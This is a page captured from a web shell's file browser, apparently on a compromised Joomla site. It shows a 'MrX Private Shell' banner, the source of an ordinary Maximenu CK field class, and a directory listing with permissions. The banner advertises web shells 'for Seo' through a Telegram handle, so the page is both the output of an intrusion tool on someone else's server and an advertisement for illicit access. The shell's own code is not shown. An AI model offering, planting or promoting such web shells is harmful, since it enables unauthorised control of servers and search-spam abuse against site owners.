__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @copyright Copyright (C) 2011 Cedric KEIFLIN alias ced1870
* http://www.joomlack.fr
* Module Maximenu CK
* @license GNU/GPL
* */
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('cklist');
class JFormFieldCksQL extends JFormFieldCklist
{
public $type = 'CkSQL';
protected function getOptions()
{
// Initialize variables.
$options = array();
// Initialize some field attributes.
$key = $this->element['key_field'] ? (string) $this->element['key_field'] : 'value';
$value = $this->element['value_field'] ? (string) $this->element['value_field'] : (string) $this->element['name'];
$translate = $this->element['translate'] ? (string) $this->element['translate'] : false;
$query = (string) $this->element['query'];
// Get the database object.
$db = JFactory::getDBO();
// Set the query and get the result list.
$db->setQuery($query);
$items = $db->loadObjectlist();
// Check for an error.
if ($db->getErrorNum())
{
JError::raiseWarning(500, $db->getErrorMsg());
return $options;
}
// Build the field options.
if (!empty($items))
{
foreach ($items as $item)
{
if ($translate == true)
{
$options[] = JHtml::_('select.option', $item->$key, JText::_($item->$value));
}
else
{
$options[] = JHtml::_('select.option', $item->$key, $item->$value);
}
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| images | Folder | 0775 |
|
|
| ckfolder.css | File | 1.52 KB | 0664 |
|
| ckfolder.js | File | 2.54 KB | 0664 |
|
| ckfolder.php | File | 3.67 KB | 0664 |
|
| ckinfo.php | File | 2.68 KB | 0664 |
|
| cklayout.php | File | 3.7 KB | 0664 |
|
| cklist.php | File | 5.22 KB | 0664 |
|
| ckparams.php | File | 1.4 KB | 0664 |
|
| ckradio.php | File | 4.94 KB | 0664 |
|
| cksource.php | File | 1.94 KB | 0664 |
|
| ckspacer.php | File | 4.56 KB | 0664 |
|
| cksql.php | File | 1.48 KB | 0664 |
|
| ckstyle.php | File | 5.19 KB | 0664 |
|
| cktext.php | File | 4.24 KB | 0664 |
|
| index.html | File | 31 B | 0664 |
|